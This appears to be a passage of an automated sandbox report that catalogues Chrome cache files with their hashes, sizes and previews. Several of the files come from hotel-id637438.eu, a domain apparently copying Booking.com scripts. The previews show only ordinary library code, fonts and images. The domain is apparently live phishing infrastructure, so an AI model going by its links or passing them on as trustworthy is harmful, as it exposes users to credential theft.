Preview:	!function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.replace(k.substring(l),""):k);if(f&&(-1!==f.indexOf(C)\|\|-1!==d.Tag.indexOf(f))){g=d;break}}return g}(a);return e.CategoryId&&(c=e.CategoryId),e.Vendor&&(b=e.Vendor.split(":")),!e.Tag&&D&&(b=c=function(f){var g=[],h=function(d){var l=document.createElement("a");.return l.href=d,-1!==(d=l.hostname.split(".")).indexOf("www")\|\|2<d.length?d.slice(1).join("."):l.hostname}(f);v.some(function(d){return d===h})&&(g=["C0004"]);return g}(a)),{categoryIds:c,vsCatIds:b}}function w(a){return!a\|\|!a.length\|\|(a&&window.OptanonActiveGroups?a.every(function(c){return-1!==window.OptanonActiveGroups.indexOf(","+c+",")}):void 0)}function m(a,c){void 0===c&&(c=null);var b=window,e=b.OneTrust&&b.OneTrust.IsVendorServiceEnabled;b=e&&b.OneTrust.IsVendorServiceEnabled()

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (44228)
Category:	downloaded
Size (bytes):	44310
Entropy (8bit):	5.477167679895197
Encrypted:	false
SSDEEP:	768:poXK5RPCIOzzCbtCcCOtaTH+U7kAviqNXX2h7iQk5IXH/PeVduN6:CXyLntaT+U7LaJ+Qk+Xk
MD5:	83CDE045F4A666C29E4BD271F9C16B31
SHA1:	6128041E5CC15228CF614EEFDAE7855402D4E15F
SHA-256:	0FC7423414C182E9A8E7C4E82F147225F50DEF9FD247480740DA14FEE863A55B
SHA-512:	73C02080BED9897D0FC35EB180C58BB99ECB68370D4296590B52FA3AE4CAB8597DE46B0006BD341E1BF084D2692EC71E456293241E5C3DB6559BDBE2070E0083
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/743_b69caf87a77dbbcadcee.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/! For license information please see 743_b69caf87a77dbbcadcee.js.LICENSE.txt /.(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[743],{72011:function(t,e,n){"use strict";n(96540),n(29385),n(59490),n(33162),n(59679),n(19353),n(65631),n(84808)},59144:function(t,e,n){"use strict";n(96540),n(59490),n(19353),n(93191),n(82916)},42261:function(t,e,n){"use strict";n(96540),n(32734),n(59490),n(3830),n(90265),n(93191),n(89708),n(58771),n(23683),n(89328),n(19353),n(25332),n(59679)},5350:function(t,e,n){"use strict";n(96540),n(32734),n(59490),n(3830)},12507:function(t,e,n){"use strict";n.d(e,{A:function(){return u}});var r=n(96540),o=n(59490),i=n(62630),a=n(89328),u=t=>{const{hideClose:e,children:n,fill:u,onClose:c,buttonColor:f,className:s,attributes:l,closeAriaLabel:d,closeClassName:p,closeAttributes:v}=t,h=(0,o.xW)("q8QU4pyiSslED1ar10Ew",s,u&&"_IUdp7sxiFeBAJ6qSQBK",e&&"xMCb8elIfAw9eZD5OF04"),m=(0,o.xW)("inEZpVn6QRo1

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 19 tables, 1st "DSIG", 43 names, Macintosh, Copyright 2018 IBM Corp. All rights reserved.IBM Plex Sans MedmRegular3.3;IBM ;IBMPlexSans-MedmV
Category:	downloaded
Size (bytes):	182060
Entropy (8bit):	5.746447574616299
Encrypted:	false
SSDEEP:	3072:Md5NSy/hWQ+mRRrBvj8WIZah/o+PZ8tf9kwkz1BQ:MdjNz+QlBvjlIY5o+wyz1S
MD5:	1F6630030155F00353EF75912C7E8064
SHA1:	4679D04C51C6074E47E770580EFADC1DEE188123
SHA-256:	A182F92FA53E7B155741697393C8E1FDA7E19AD4D0F1F92366D6D8225C41ED3D
SHA-512:	A650DC96AB98953345A6ECA371E2715F594736DD407A0785CC81A89AE59E7A7ED1C20CE174F6563D07ABBF4A8A7352C07E4560D355D63B929276188B66BF4D30
Malicious:	false
Reputation:	low
URL:	https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Medium.c4877bdfa15aef22d9255288b16899c5.ttf
Preview:	...........0DSIG.......$....GDEF..a...T....GPOS6.&y.......XGSUB5......\....OS/2..k5.......`cmap...........Rcvt .5.....4...>fpgm.Y.7.......sgasp...!...D....glyf_.....%....(head.......<...6hhea.......t...$hmtx............loca2..$...t...Fmaxp........... meta6.<!.......DnameM.Ar.......zpost..#....`....prep...c...h.............2._.<............v......Y.......l.......................;...............................T...f.......................Y.........X...K...X...^.M.8................P. ;........IBM .........$.,.... .............. ..... .............%.(.P./.P.N...+.P./.,.+.T.....".P./...".D.N...D.....#.N...N.r.N.D.N.4.+.P.N.P./...N... .m...D.I...................$.......V.z.7...V.Q.V.:.V...7...V...8.......V...V...V...V...7.s.V...7...V.V.(.A.....R.t...........i...O.%.X./.X./.X./.X.-.X.9.X. .X.#.X.@.X.8.X.?.X.2.X.5...?...?...>...>.L.$...$.1...".H.N.H.6.R.".'.6.1.6.1...N...N...C...)...C...)...$...$.5.%.5.3...%...3..L..L...!.....P.?.P...E.V.E.8.b...d.8.......'...#...#...;.;.;.a...a...A.@...+

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6548), with no line terminators
Category:	dropped
Size (bytes):	6548
Entropy (8bit):	5.3923346455494094
Encrypted:	false
SSDEEP:	192:2SjYDaw8KLwLc4MrP0SLn4N8yp9rHoEak:2mfL5i0IM8yTboEak
MD5:	24B743CF3D6F5525B2A9E9FC60FD9125
SHA1:	F2BA118E9C9D6AD92FE54C979E57DFCE786A60DA
SHA-256:	6C0BED66E7FC53D62C5D11D8F8BE22C20991DB858510E99B13058B2E264A1A0C
SHA-512:	7D035CC59CC059971078065A8F4F9AF49E5F4C9EE9B07526C6A8CBB1467F4B31B720832E01284CF56D98788AF1D424E709D859860AD436199A62B84C1F6B265B
Malicious:	false
Reputation:	low
Preview:	/* Created: 2024/07/08 12:19:23 UTC version: next */(()=>{"use strict";var e={648:(e,t,a)=>{a.d(t,{FF:()=>c,NI:()=>s,SW:()=>i,fH:()=>l,vV:()=>d});const r={info:"info::",error:"error::",warning:"warning::",verbose:"verbose::",success:"success::"},n={allowed:document.cookie.indexOf("abTastyDebug=")>=0};function o(e,t,a){if(function(){const e=!window.abTastyStopLog;return(n.allowed\|\|window.abTastyDebug)&&e}()){for(var r=arguments.length,o=new Array(r>3?r-3:0),i=3;i<r;i++)o[i-3]=arguments[i];t(`%c [AB Tasty Debug mode] %c ${e}`,"background: #222; color: #bada55; padding: 3px; border-radius: 5px 0px 0px 5px;",`${a} padding: 3px; border-radius: 0px 5px 5px 0px;`,...o)}}function i(){for(var e=arguments.length,t=new Array(e),a=0;a<e;a++)t[a]=arguments[a];o(r.success,console.info,"background: green; color: white;",...t)}function c(){for(var e=arguments.length,t=new Array(e),a=0;a<e;a++)t[a]=arguments[a];o(r.warning,console.warn,"background: orange; color: white;",...t)}function s(){for(var e=ar

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (799)
Category:	downloaded
Size (bytes):	3662
Entropy (8bit):	5.4767781783171126
Encrypted:	false
SSDEEP:	96:/Z5gixsZq4LjbAadjbb3kb5Cq1Kypp1EqTewM04Q:/rR2E4LoadzFgT1EqTz
MD5:	2C3950F122B3977DF61B0E077AAA92C8
SHA1:	7BBC3B129BB0F1320C6ECB67688DDC8F78EF6574
SHA-256:	6082597F3871C77C9B31AA1383577F8C0E54CB5FF09275DC817BC70D96E6217D
SHA-512:	0651EAD9C0FF20B42C8A9380A9EBBACA9291C3D00F061C08E9D9B1E33D923D40BA10EAB11DFEDD4544DAD1F9716D6D76DB3DFFE7FDC744C643F75D7BD08F53FD
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/clientlib.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	(function(){.var g=this\|\|self;function z(){return"undefined"===typeof Date.now?(new Date).getTime():Date.now()}function N(E){this.L=E;16==this.L?(this.v=268435456,this.C=4026531839):(this.v=78364164096,this.C=2742745743359)}function l(E){return(Math.floor(Math.random()*E.C)+E.v).toString(E.L)};function T(E){this.C=E}T.prototype.supported=function(){return void 0!=window.localStorage};T.prototype.get=function(){return window.localStorage.getItem(this.C)};T.prototype.set=function(E){return window.localStorage.setItem(this.C,E)};T.prototype.set=T.prototype.set;function Z(){var E=z(),Y=new N(16);Y=l(Y)+l(Y)+l(Y)+l(Y);return[0,0,E,E,Y].join(":")}function J(){var E=new T("ed73f20edbf2b73");if(!E.supported())return null;E=E.get();if(null===E)return null;var Y=E.split("_");2===Y.length&&(E=Y[0]);return"0:"+E}.function v(){var E=J();if(null===E)if(E=new T("ed73f20edbf2b74"),E.supported()){var Y=E.get();null===Y&&(Y=Z());var u=E.set;var S=Y.split(":");if(5!=S.length)S=Y;else{var t=parseInt(S[1],

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	4756
Entropy (8bit):	7.945632013035785
Encrypted:	false
SSDEEP:	96:hvy9NZNPd+O/fMenwHl42/E5ewg0rqYn9+s++F/kLsztCkda+F:hvyTZNF+uxewg0rr9d+mrda+F
MD5:	0D81C715B4764142F9C3D35792ED2485
SHA1:	0F469440C466FA9B3136BA3E220B41123AAFEE12
SHA-256:	9A226E85989184929393C7E017A56C0C32079465E36CFE2DD1F7AD98D75EB3CD
SHA-512:	40C7729CBE6E216CABDC25DBA65A69EF1E24842E98278DFB2165AB48364FE3C9DDD4A46D45A0CEFF989D924E107EFFCA3CFA85BDFF1F17F5326966985BC78CE5
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/property%20managment%404x.png.webp?itok=T_Oo2E2n
Preview:	RIFF....WEBPVP8X...........`..ALPH)......l..z.......z.....z..................u.m.!.0.?..7_.......!(.?38.N.6..d>....m.A0.>........].G.=..1...1............d6=3333;...x..KW.a7law..g..R@..yG..fg.N....Q...Y:..ln.3qp\|tSE.d...%.'..o.U:..^zk.P3..1....<...\|.S.W.d...g.o...J...r.....~...pZV .#FZ;.\|..KKug..]<..#yk......B..q..y.>!.W... ....:........W2%.........{.1....a..+......0^.`.!....k.`>!...H...k0.+...\3s0.#......7pT..x.3.~...j{..k..)..o..oPK...X/.M....O.......c..s.c.y*.k..p...bZ..........@..Y..>.d.&....t....GAmkF...i\|I.>z"..Z.J.........n...l..........+.p.DD.].....tU0\....Z..[.i.".:.....s....p.$......\|.K.B.Wk.&.._.P<.%y.E.>y ^aK...0.R8\..3.....Y#=...3..?9.Sgz0..7h...]$...H..T.9.)<z.W.9..in9...........j./.Dr......t.......$....:....L..f..L.v.f.....%os10...u.....9.....~b...=u.=.......nX.X...;wn~vffffz....xm.G`.r...E16..5x.=J.!....D.d.t~........(........f+@`.w........C..D)N_.+...T..o.c..._u..TS....sk.w.N.....oh..Z...1`~..".oN........kL....i....

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 220x140, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	14826
Entropy (8bit):	7.985905181758237
Encrypted:	false
SSDEEP:	384:pZ9qYmHNf3cXzDrizA7BcN8Rem2IEs2k5W/+Tu7WT:p4HNfWzD+UlcN8RezFg5t1
MD5:	5D4318F103EEACF6A291E2AFE68257E4
SHA1:	6544605AD29D5287EC04FE9C4411A824F7464E9B
SHA-256:	385BD16B54F7F9BF7122348988E364EBF2721C5DEB28A450915B5C92BA3E976E
SHA-512:	4F490551064F5ABA28D526C01EBA4E7297285A486B62E301FB944D4EAC409BDCAF8B16459FC5B900696166B619506005E5203D75C9431FD1052027942F290B6E
Malicious:	false
Reputation:	low
Preview:	RIFF.9..WEBPVP8 .9...........>...A!..a...a(..._..Q.......w..._.?(..}...._.\|.....././....g.........[...'......w....z....s.....?.'......B........'...........w....._....+=..O._.C...>Y./.?........,.O.g./?.....'......e.....?..n~..W.........>B?..U...G.o._.O.......?...............=.7.W.....^......W._....._......../...o......}...O.....?K.....G.....O.......Q.].......O...........s...../...?.S...U(6.M..~.....9@My%.U.....r...I../..>...hC......D].y.kv.L...U{..E...@...........p.c...%..l.......BT}bq.....a...7....7/.z..G.OO"D4....:-8...V....:.o&....m.0x....).Eq\...dU..g{5........5.R^..V.P?...!...u.H....>.I..3..>.....u4O./U ....(..sAbv...{........NC..T.^8h%..Cf+.....o... 'fg....~......w..C..)..o..H\..GW..Zt9.......BY......A^{..}\E4{....o..u0..d."* v.......P)},..dM.;.7...2.2.(.L...s...-.....V@.o.Z...!W..j_.c...>.M+\.k.G ._.m..3..(f....=X.`f.>...`.I83._lvi&.g......\|............6....`!.../..g.v$D;.1K.,C.9...[.Z.g"..m11........*.t1...i.....w.#."_.>..{.=

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	458438
Entropy (8bit):	5.359722847894724
Encrypted:	false
SSDEEP:	6144:Vab9rTyxFBzE7qmU21A986asLMNDqus8BdRzAe+i9b9sjgs:ViFyxFBzE7qgA78BmKm/
MD5:	C44006ABC4B9CBEABC46ECE8C79AA638
SHA1:	53FE22FC5F03229E51F46324AB7CFAE18A6C71F5
SHA-256:	49CFBB9C8B20FBAAB3A11BCECB48FB8448E617A746FA578BACA0DC71A7E06540
SHA-512:	60312FB0B57C83A3E53D5AC9361543A069FDA9B7A6CD87A71F6341D1E1D58A88F59A13227F98A22ED7C23D43FBCDB663D27D1BD61FC0DA0A3C20AE45C0F4CB9F
Malicious:	false
Reputation:	low
URL:	https://cdn.cookielaw.org/scripttemplates/202404.1.0/otBannerSdk.js
Preview:	/** . * onetrust-banner-sdk. * v202404.1.0. * by OneTrust LLC. * Copyright 2024 . */.!function(){"use strict";var x=function(e,t){return(x=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}))(e,t)};function D(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function o(){this.constructor=e}x(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function u(e,s,a,l){return new(a=a\|\|Promise)(function(o,t){function n(e){try{i(l.next(e))}catch(e){t(e)}}function r(e){try{i(l.throw(e))}catch(e){t(e)}}function i(e){var t;e.done?o(e.value):((t=e.value)instanceof a?t:new a(fun

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4702), with no line terminators
Category:	downloaded
Size (bytes):	4702
Entropy (8bit):	5.256515295677321
Encrypted:	false
SSDEEP:	96:SGNB9pt375P1V4F4VRxCTv7qQt4nRU7DerZqtDcGfcw0:SGNb311LTARWnRU7DeaD0
MD5:	D03C64B2C7D4D9DD981644BDF6CC1926
SHA1:	3DE2A46A71D380C7FF9B1D90D62C662E6C0002C9
SHA-256:	F12D6A639CD808745EF12E7F3D8B0645DC8E0AC72D5217C96E22F73871987469
SHA-512:	96F7E74D6A6214270D55B2EA0CC1964E9A5FF5C1CC1711195CD157E569961C167C2AF860E98B27B4C768C955F7BEFD1514A055DA391A8F08CDCFA2FEA6918C93
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/runtime~index_738e48f489cb6e4a67ad.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	!function(){"use strict";var e,t,r,n,o,i={},u={};function a(e){var t=u[e];if(void 0!==t)return t.exports;var r=u[e]={id:e,loaded:!1,exports:{}};return i[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=i,e=[],a.O=function(t,r,n,o){if(!r){var i=1/0;for(f=0;f<e.length;f++){r=e[f][0],n=e[f][1],o=e[f][2];for(var u=!0,c=0;c<r.length;c++)(!1&o\|\|i>=o)&&Object.keys(a.O).every((function(e){return a.O[e](r[c])}))?r.splice(c--,1):(u=!1,o<i&&(i=o));if(u){e.splice(f--,1);var s=n();void 0!==s&&(t=s)}}return t}o=o\|\|0;for(var f=e.length;f>0&&e[f-1][2]>o;f--)e[f]=e[f-1];e[f]=[r,n,o]},a.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return a.d(t,{a:t}),t},a.d=function(e,t){for(var r in t)a.o(t,r)&&!a.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},a.f={},a.e=function(e){return Promise.all(Object.keys(a.f).reduce((function(t,r){return a.f[r](e,t),t}),[]))},a.u=function(e){return"assets/chunk_"+e+"_8e3fea44ddfcdbe969e1.js"},a.miniCssF=function(

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48905
Entropy (8bit):	5.566694545871129
Encrypted:	false
SSDEEP:	768:AK6hDVMaqSynB3WhXcZ3RucJlYRSGBuF3UMR01V8rb2OtKCB:AK6hDClaXcRRuSlYRX8gM7B
MD5:	E79F8A15DF4826ED8289AA85A222B872
SHA1:	F7E408AAB2FB8138AA9F9FC6C77F9FEC3BB4897F
SHA-256:	F85B5995D7C06BEB250835238610EA7A2FBD4771700970446CC5FDF73863D8A4
SHA-512:	F826AFCEEBC9E2281B66F462B69A374E9B03F4845B96182F9AA03266C24C624EC393FF02EF96B75182A534A4E8AF924F2D8FDC6AB2A17B855DDD267DCD796C2F
Malicious:	false
Reputation:	low
Preview:	{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","pccontinueWithoutAcceptText":"Continue without Accepting","pccloseButtonType":"Icon","MainText":"Manage your privacy settings","MainInfoText":"Select which cookies you want to accept on Booking.com.","AboutText":"You can find more detailed info on cookie use and descriptions in our privacy and cookie policy.","AboutCookiesText":"Your Privacy","ConfirmText":"Allow All","AllowAllText":"Save Settings","CookiesUsedText":"Cookies used","CookiesDescText":"Description","AboutLink":"https://www.booking.com/general.html?tmpl=docs/privacy-policy","ActiveText":"Active","AlwaysActiveText":"Always Active","AlwaysInactiveText":"Always Inactive","PCShowAlwaysActiveToggle":true,"AlertNoticeText":"By clicking \"Accept,\" you agree to the use of analytical cookies (used to gain insight on website usage and to improve our site and services) and tracking cookies (bot

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13478), with no line terminators
Category:	downloaded
Size (bytes):	13478
Entropy (8bit):	5.449522015172448
Encrypted:	false
SSDEEP:	192:0HcjqfalLZJOx0/c7Gw7mziempFqSwCOLPoIkizRK8qCLth9SW0K0rrHAozr+Hh2:tjK63/Cm9dVLV0K0vHbYhwjDTOps
MD5:	5108630A28C33DB946A8A930BBFFE101
SHA1:	8EBAE28E01A72F2E8FCF135FDB429796726D2B8F
SHA-256:	3A0312B1E140EBA693176309680D7AAC868BD52CF4130549633A4B044E8EFC5C
SHA-512:	833DFDA5BFD5EAEA25B8065B23E2D7D6BC92FEA368833F38335017649B50FB56890865D59B5C1926457FE1E286853D382345D7D9E063BF7385729020D6163950
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/699_7dd9fbc7ebf53c180dfd.js
Preview:	"use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[699],{52435:function(t,n,e){var r,o,i,s,u,a,f,c,l;function p(t){return p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},p(t)}e(70489),e(95853),e(64509),e(20341),e(17482),e(7849),e(78604),e(68305),function(t,n){if(!n.jstmpl){var e,r,o,i,s,u,a,f,c,l,p,h,g,_,v,m,d,y,b,T,E,S,w,A,L,M,j=[];i=function(t,n){this.closure=t,this.name=n},s=function(t){var n=[];return c(n,t,0),1===n.length?n[0]:n.join("")},a=function(t,n,e){return/^[0-9]+$/.test(t)?t:""===t?null:(M("Attempting to use non-numeric value '"+t+"' for translation tag '"+e+"'"),0)},M=function(r,o){r=r\|\|"BHCJS runtime issue",n&&n.env&&n.env.b_dev_server?(o&&console.warn("Template: "+o),console.error(r)):e.error_out&&t.onerror&&t.onerror("JSTMPL:: "

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (47699), with NEL line terminators
Category:	downloaded
Size (bytes):	472909
Entropy (8bit):	5.603887876458358
Encrypted:	false
SSDEEP:	6144:leING6/2f90bJcq4Hk1SZfn4MyUyq2ru/L+iobTNr7pG0V:lm6/jbyq4Hk1SZfn12C1oZQg
MD5:	382797DE2B742ABBCD4B2F89F26DC330
SHA1:	BB2CFBF78B5F8293E89A01F1B9678B5CD7D4F5F5
SHA-256:	1A905ABDC1855B101965BBDA7E0C422AF729F478893C5CCBCEDAE11298750D20
SHA-512:	86E09AF0B9C5B9E87D59CA137C18507882AE80201B7F16732A88FD8CE4C3AC3E7CF09E6C61DF772770090C4601EC7D72AD116A051A68B201CC2EED0EE474FCF6
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/sdk.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	!function(){"use strict";var P="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function j(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function L(n){if(n.__esModule)return n;var r=Object.defineProperty({},"__esModule",{value:!0});return Object.keys(n).forEach(function(t){var e=Object.getOwnPropertyDescriptor(n,t);Object.defineProperty(r,t,e.get?e:{enumerable:!0,get:function(){return n[t]}})}),r}function U(t){throw new Error('Could not dynamically require "'+t+'". Please configure the dynamicRequireTargets or/and ignoreDynamicRequires option of @rollup/plugin-commonjs appropriately for this require call to work.')}function M(t){return t&&t.Math==Math&&t}function F(t){try{return!!t()}catch(t){return!0}}function V(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}function G(t){return Ht.call(t).slice(8,-1)}function J(t){if(null

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	4626
Entropy (8bit):	7.92757130177822
Encrypted:	false
SSDEEP:	96:HSkg2/T/uoXx3mu/x/m94TzL4fj9ffKH1I6G5PwsdX:HjRT1XZs4TzLqBmvD8
MD5:	25ABB17C79825AAA40D2840C220A3677
SHA1:	1AAD8A07CEB0B72B07B987ED03AAA9F258B16DDC
SHA-256:	F163FAA5F65DCBED40393CFE6F522879B5885828C5BE107B3534554C485B0516
SHA-512:	D91586A56D17B94DF94DB36B5289D830B751A69508895C4C895DCDA50F9311EAD2ECCB680CF5AAD67A9D2237B7C7B06B9132577B282FB1476B0D2FA6835425DD
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8X...........}..ALPH......G...d..9.......dfff.$I&Ir.....~....~H.KL&I..!..).$I.$.%.I2.....$33s..?...........h...s..sB....jc.....Nw........t.O.p."...S......( "....<F.W._..4..8.<.&.3.`..wm+.........e..w.\|......p..y....-l].U'..+T.k2....O.pWP...q....~.....}.Wgp........3.".KTE.LU...8!M...F.YT...B..W..8.q.."PX.i.....F.1.....G_L.o.1.PU.f..t.h..... .........+.e:.:.v...x....gH.:.....ew.........c`".!.c#+../....=.....(.....g..$V.l.......Hzv+..N.}y.\|j.....?.....w...8.2.C.G.]{.. ...d]..^.Hg.....G......20.i..4.SqUfP....Ulb.X...:.<3s..MO5...\...j.O.1...\|FN...D...}CJm.R.~D............["?...6.......= ......4...72.N._.,....Xz.@3t...R.p...s..N....4x.....A.K.i.... ...=5.%j[.....D...pY.....\....5...C^o....sys..?.i "/.....t.........*L.4.^.}..$4....{/.q...............;..pX....u.+R."..d...Z....[.o\.W8.:~.....IN.S%..:........e..z.G.PG\F.r(x...#..N!.c.Y..".P..3...r1...PF>n...&...^..].y.J8.....<w.?{....A..6....7.?...yA.......L....K\..K..G......Q..k..

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (47699), with NEL line terminators
Category:	downloaded
Size (bytes):	472909
Entropy (8bit):	5.603887876458358
Encrypted:	false
SSDEEP:	6144:leING6/2f90bJcq4Hk1SZfn4MyUyq2ru/L+iobTNr7pG0V:lm6/jbyq4Hk1SZfn12C1oZQg
MD5:	382797DE2B742ABBCD4B2F89F26DC330
SHA1:	BB2CFBF78B5F8293E89A01F1B9678B5CD7D4F5F5
SHA-256:	1A905ABDC1855B101965BBDA7E0C422AF729F478893C5CCBCEDAE11298750D20
SHA-512:	86E09AF0B9C5B9E87D59CA137C18507882AE80201B7F16732A88FD8CE4C3AC3E7CF09E6C61DF772770090C4601EC7D72AD116A051A68B201CC2EED0EE474FCF6
Malicious:	false
Reputation:	low
URL:	https://xx.bstatic.com/libs/datavisor/20231228/sdk.js
Preview:	!function(){"use strict";var P="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function j(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function L(n){if(n.__esModule)return n;var r=Object.defineProperty({},"__esModule",{value:!0});return Object.keys(n).forEach(function(t){var e=Object.getOwnPropertyDescriptor(n,t);Object.defineProperty(r,t,e.get?e:{enumerable:!0,get:function(){return n[t]}})}),r}function U(t){throw new Error('Could not dynamically require "'+t+'". Please configure the dynamicRequireTargets or/and ignoreDynamicRequires option of @rollup/plugin-commonjs appropriately for this require call to work.')}function M(t){return t&&t.Math==Math&&t}function F(t){try{return!!t()}catch(t){return!0}}function V(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}function G(t){return Ht.call(t).slice(8,-1)}function J(t){if(null

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	4626
Entropy (8bit):	7.92757130177822
Encrypted:	false
SSDEEP:	96:HSkg2/T/uoXx3mu/x/m94TzL4fj9ffKH1I6G5PwsdX:HjRT1XZs4TzLqBmvD8
MD5:	25ABB17C79825AAA40D2840C220A3677
SHA1:	1AAD8A07CEB0B72B07B987ED03AAA9F258B16DDC
SHA-256:	F163FAA5F65DCBED40393CFE6F522879B5885828C5BE107B3534554C485B0516
SHA-512:	D91586A56D17B94DF94DB36B5289D830B751A69508895C4C895DCDA50F9311EAD2ECCB680CF5AAD67A9D2237B7C7B06B9132577B282FB1476B0D2FA6835425DD
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/announcements%404x.png.webp?itok=KL33QV-E
Preview:	RIFF....WEBPVP8X...........}..ALPH......G...d..9.......dfff.$I&Ir.....~....~H.KL&I..!..).$I.$.%.I2.....$33s..?...........h...s..sB....jc.....Nw........t.O.p."...S......( "....<F.W._..4..8.<.&.3.`..wm+.........e..w.\|......p..y....-l].U'..+T.k2....O.pWP...q....~.....}.Wgp........3.".KTE.LU...8!M...F.YT...B..W..8.q.."PX.i.....F.1.....G_L.o.1.PU.f..t.h..... .........+.e:.:.v...x....gH.:.....ew.........c`".!.c#+../....=.....(.....g..$V.l.......Hzv+..N.}y.\|j.....?.....w...8.2.C.G.]{.. ...d]..^.Hg.....G......20.i..4.SqUfP....Ulb.X...:.<3s..MO5...\...j.O.1...\|FN...D...}CJm.R.~D............["?...6.......= ......4...72.N._.,....Xz.@3t...R.p...s..N....4x.....A.K.i.... ...=5.%j[.....D...pY.....\....5...C^o....sys..?.i "/.....t.........*L.4.^.}..$4....{/.q...............;..pX....u.+R."..d...Z....[.o\.W8.:~.....IN.S%..:........e..z.G.PG\F.r(x...#..N!.c.Y..".P..3...r1...PF>n...&...^..].y.J8.....<w.?{....A..6....7.?...yA.......L....K\..K..G......Q..k..

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13478), with no line terminators
Category:	downloaded
Size (bytes):	13478
Entropy (8bit):	5.449522015172448
Encrypted:	false
SSDEEP:	192:0HcjqfalLZJOx0/c7Gw7mziempFqSwCOLPoIkizRK8qCLth9SW0K0rrHAozr+Hh2:tjK63/Cm9dVLV0K0vHbYhwjDTOps
